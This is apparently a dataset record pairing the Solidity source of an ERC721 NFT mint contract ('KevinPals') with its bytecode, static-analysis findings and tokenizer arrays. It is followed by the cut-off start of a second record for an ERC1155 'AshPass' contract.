uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract KevinPals is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.0069 ether; uint256 public maxSupply = 2222; uint256 public maxMintAmount = 10; bool public paused = false; bool public revealed = true; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function needToUpdateCost(uint256 _supply) internal view returns (uint256 _cost){ if(_supply < 500) { return 0 ether; } if(_supply <= maxSupply) { return 0.0069 ether; } } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); require(msg.value >= needToUpdateCost(supply) * _mintAmount); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool hs, ) = payable(0x2dB130737dc3096D6d5fc60A288c55082FC4A8dB).call{value: address(this).balance * 7 / 100}(""); require(hs); (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611fff565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611fe4565b6106a6565b005b34801561027757600080fd5b506102806106ec565b604051610240919061220c565b34801561029957600080fd5b506102ad6102a8366004612082565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611fba565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611ed8565b6109b7565b34801561037557600080fd5b50610310610384366004611fba565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611ed8565b610b9a565b3480156103bd57600080fd5b506103d16103cc366004611e8a565b610bb5565b60405161024091906121c8565b3480156103ea57600080fd5b506102696103f9366004612082565b610c57565b34801561040a57600080fd5b50610310610419366004612082565b610c86565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004612039565b610d19565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004612082565b610d56565b3480156104a357600080fd5b506103106104b2366004611e8a565b610dcd565b3480156104c357600080fd5b50610269610e54565b3480156104d857600080fd5b506102696104e7366004612082565b610e8a565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610eb9565b61026961052d366004612082565b610ec8565b34801561053e57600080fd5b5061026961054d366004611f90565b610f69565b34801561055e57600080fd5b5061026961102e565b34801561057357600080fd5b50610269610582366004611f14565b611069565b34801561059357600080fd5b506102806110a1565b3480156105a857600080fd5b506102806105b7366004612082565b6110ae565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004612039565b61122d565b3480156105fe57600080fd5b5061023461060d366004611ea5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004612039565b61126a565b34801561066757600080fd5b50610269610676366004611e8a565b6112a7565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a082611342565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d090612271565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb90612385565b80601f016020809104026020016040519081016040528092919081815260200182805461072790612385565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b6011805461082090612385565b80601f016020809104026020016040519081016040528092919081815260200182805461084c90612385565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610d56565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611392565b505050565b6109c13382611400565b6109dd5760405162461bcd60e51b81526004016106d0906122a6565b6109b28383836114f7565b60006109f383610dcd565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d090612271565b6000732db130737dc3096d6d5fc60a288c55082fc4a8db6064610acc476007612323565b610ad6919061230f565b604051600081818185875af1925050503d8060008114610b12576040519150601f19603f3d011682016040523d82523d6000602084013e610b17565b606091505b5050905080610b2557600080fd5b6000610b39600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610b83576040519150601f19603f3d011682016040523d82523d6000602084013e610b88565b606091505b5050905080610b9657600080fd5b5050565b6109b283838360405180602001604052806000815250611069565b60606000610bc283610dcd565b905060008167ffffffffffffffff811115610bdf57610bdf612447565b604051908082528060200260200182016040528015610c08578160200160208202803683370190505b50905060005b82811015610c4f57610c2085826109e8565b828281518110610c3257610c32612431565b602090810291909101015280610c47816123c0565b915050610c0e565b509392505050565b600a546001600160a01b03163314610c815760405162461bcd60e51b81526004016106d090612271565b600d55565b6000610c9160085490565b8210610cf45760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610d0757610d07612431565b90600052602060002001549050919050565b600a546001600160a01b03163314610d435760405162461bcd60e51b81526004016106d090612271565b8051610b9690600b906020840190611d54565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610e385760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610e7e5760405162461bcd60e51b81526004016106d090612271565b610e8860006116a2565b565b600a546001600160a01b03163314610eb45760405162461bcd60e51b81526004016106d090612271565b600f55565b6060600180546106fb90612385565b6000610ed360085490565b60105490915060ff1615610ee657600080fd5b60008211610ef357600080fd5b600f54821115610f0257600080fd5b600e54610f0f83836122f7565b1115610f1a57600080fd5b81610f24826116f4565b610f2e9190612323565b341015610f3a57600080fd5b60015b8281116109b257610f5733610f5283856122f7565b611724565b80610f61816123c0565b915050610f3d565b6001600160a01b038216331415610fc25760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b031633146110585760405162461bcd60e51b81526004016106d090612271565b6010805461ff001916610100179055565b6110733383611400565b61108f5760405162461bcd60e51b81526004016106d0906122a6565b61109b8484848461173e565b50505050565b600c805461082090612385565b6000818152600260205260409020546060906001600160a01b031661112d5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff166111ce576011805461114990612385565b80601f016020809104026020016040519081016040528092919081815260200182805461117590612385565b80156111c25780601f10611197576101008083540402835291602001916111c2565b820191906000526020600020905b8154815290600101906020018083116111a557829003601f168201915b50505050509050919050565b60006111d8611771565b905060008151116111f85760405180602001604052806000815250611226565b8061120284611780565b600c604051602001611216939291906120c7565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146112575760405162461bcd60e51b81526004016106d090612271565b8051610b9690600c906020840190611d54565b600a546001600160a01b031633146112945760405162461bcd60e51b81526004016106d090612271565b8051610b96906011906020840190611d54565b600a546001600160a01b031633146112d15760405162461bcd60e51b81526004016106d090612271565b6001600160a01b0381166113365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b61133f816116a2565b50565b60006001600160e01b031982166380ac58cd60e01b148061137357506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906113c782610d56565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166114795760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b600061148483610d56565b9050806001600160a01b0316846001600160a01b031614806114bf5750836001600160a01b03166114b48461077e565b6001600160a01b0316145b806114ef57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661150a82610d56565b6001600160a01b0316146115725760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115d45760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6115df83838361187e565b6115ea600082611392565b6001600160a01b0383166000908152600360205260408120805460019290611613908490612342565b90915550506001600160a01b03821660009081526003602052604081208054600192906116419084906122f7565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006101f482101561170857506000919050565b600e54821161171f57506618838370f34000919050565b919050565b610b96828260405180602001604052806000815250611936565b6117498484846114f7565b61175584848484611969565b61109b5760405162461bcd60e51b81526004016106d09061221f565b6060600b80546106fb90612385565b6060816117a45750506040805180820190915260018152600360fc1b602082015290565b8160005b81156117ce57806117b8816123c0565b91506117c79050600a8361230f565b91506117a8565b60008167ffffffffffffffff8111156117e9576117e9612447565b6040519080825280601f01601f191660200182016040528015611813576020820181803683370190505b5090505b84156114ef57611828600183612342565b9150611835600a866123db565b6118409060306122f7565b60f81b81838151811061185557611855612431565b60200101906001600160f81b031916908160001a905350611877600a8661230f565b9450611817565b6001600160a01b0383166118d9576118d481600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6118fc565b816001600160a01b0316836001600160a01b0316146118fc576118fc8382611a76565b6001600160a01b038216611913576109b281611b13565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611bc2565b6119408383611c06565b61194d6000848484611969565b6109b25760405162461bcd60e51b81526004016106d09061221f565b60006001600160a01b0384163b15611a6b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906119ad90339089908890889060040161218b565b602060405180830381600087803b1580156119c757600080fd5b505af19250505080156119f7575060408051601f3d908101601f191682019092526119f49181019061201c565b60015b611a51573d808015611a25576040519150601f19603f3d011682016040523d82523d6000602084013e611a2a565b606091505b508051611a495760405162461bcd60e51b81526004016106d09061221f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506114ef565b506001949350505050565b60006001611a8384610dcd565b611a8d9190612342565b600083815260076020526040902054909150808214611ae0576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611b2590600190612342565b60008381526009602052604081205460088054939450909284908110611b4d57611b4d612431565b906000526020600020015490508060088381548110611b6e57611b6e612431565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611ba657611ba661241b565b6001900381819060005260206000200160009055905550505050565b6000611bcd83610dcd565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611c5c5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611cc15760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611ccd6000838361187e565b6001600160a01b0382166000908152600360205260408120805460019290611cf69084906122f7565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611d6090612385565b90600052602060002090601f016020900481019282611d825760008555611dc8565b82601f10611d9b57805160ff1916838001178555611dc8565b82800160010185558215611dc8579182015b82811115611dc8578251825591602001919060010190611dad565b50611dd4929150611dd8565b5090565b5b80821115611dd45760008155600101611dd9565b600067ffffffffffffffff80841115611e0857611e08612447565b604051601f8501601f19908116603f01168101908282118183101715611e3057611e30612447565b81604052809350858152868686011115611e4957600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461171f57600080fd5b8035801515811461171f57600080fd5b600060208284031215611e9c57600080fd5b61122682611e63565b60008060408385031215611eb857600080fd5b611ec183611e63565b9150611ecf60208401611e63565b90509250929050565b600080600060608486031215611eed57600080fd5b611ef684611e63565b9250611f0460208501611e63565b9150604084013590509250925092565b60008060008060808587031215611f2a57600080fd5b611f3385611e63565b9350611f4160208601611e63565b925060408501359150606085013567ffffffffffffffff811115611f6457600080fd5b8501601f81018713611f7557600080fd5b611f8487823560208401611ded565b91505092959194509250565b60008060408385031215611fa357600080fd5b611fac83611e63565b9150611ecf60208401611e7a565b60008060408385031215611fcd57600080fd5b611fd683611e63565b946020939093013593505050565b600060208284031215611ff657600080fd5b61122682611e7a565b60006020828403121561201157600080fd5b81356112268161245d565b60006020828403121561202e57600080fd5b81516112268161245d565b60006020828403121561204b57600080fd5b813567ffffffffffffffff81111561206257600080fd5b8201601f8101841361207357600080fd5b6114ef84823560208401611ded565b60006020828403121561209457600080fd5b5035919050565b600081518084526120b3816020860160208601612359565b601f01601f19169290920160200192915050565b6000845160206120da8285838a01612359565b8551918401916120ed8184848a01612359565b8554920191600090600181811c908083168061210a57607f831692505b85831081141561212857634e487b7160e01b85526022600452602485fd5b80801561213c576001811461214d5761217a565b60ff1985168852838801955061217a565b60008b81526020902060005b858110156121725781548a820152908401908801612159565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906121be9083018461209b565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612200578351835292840192918401916001016121e4565b50909695505050505050565b602081526000611226602083018461209b565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561230a5761230a6123ef565b500190565b60008261231e5761231e612405565b500490565b600081600019048311821515161561233d5761233d6123ef565b500290565b600082821015612354576123546123ef565b500390565b60005b8381101561237457818101518382015260200161235c565b8381111561109b5750506000910152565b600181811c9082168061239957607f821691505b602082108114156123ba57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156123d4576123d46123ef565b5060010190565b6000826123ea576123ea612405565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461133f57600080fdfea2646970667358221220937f93c57b203791aa5933f3eb4c3a4b4b7122db30e086e6d06e5924b6e0a93564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 18939, 29537, 2620, 19961, 16048, 2063, 22407, 2683, 2581, 2063, 2509, 2050, 2629, 27421, 2050, 2692, 2278, 2549, 2546, 2692, 2278, 28756, 29345, 2549, 2094, 16932, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,872
0x95db98836ab781adbcc1993db4b0eafbba24bc7a
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract AshPass is ERC1155, Ownable, ReentrancyGuard { using ECDSA for bytes32; uint256 public constant MINT_PRICE = 0.3333 ether; uint256 public constant MAX_TOTAL_SUPPLY = 2000; uint256 public constant MAX_PUBLIC_SUPPLY = 500; uint256 public constant RESERVED = 500; uint256 public constant TOKEN_ID = 0; uint256 public totalSupply; uint256 public publicSupply; bool public metadataFrozen; bool public saleActive; address public signer; mapping(address => bool) public addressMinted; constructor(string memory uri, address owner) ERC1155(uri) { _mint(owner, TOKEN_ID, RESERVED, ""); totalSupply += RESERVED; } /** * @notice Set signature signing address * @param _signer address of account used to create mint signatures */ function setSigner(address _signer) public onlyOwner { signer = _signer; } /** * @notice Flip public sale state between active and inactive */ function flipSaleActive() public onlyOwner { saleActive = !saleActive; } /** * @notice Set metadata URI * @dev More details in ERC1155 contract * @param _uri of token metadata */ function setMetadata(string memory _uri) public onlyOwner { require(!metadataFrozen, "Metadata frozen"); _setURI(_uri); } /** * @notice Freeze token metadata, making it immutable */ function freezeMetadata() public onlyOwner { metadataFrozen = true; } /** * @notice Internal base mint function to be used by public and mintlist mint functions * @param sender account sending the mint transaction */ function baseMint(address sender) internal { require(sender == tx.origin, "Contract minting not allowed"); require(!addressMinted[sender], "Address has already minted"); require(msg.value == MINT_PRICE, "Invalid Ether amount sent"); require(totalSupply + 1 <= MAX_TOTAL_SUPPLY, "Exceeds maximum number of tokens"); _mint(sender, TOKEN_ID, 1, ""); addressMinted[sender] = true; totalSupply += 1; } /** * 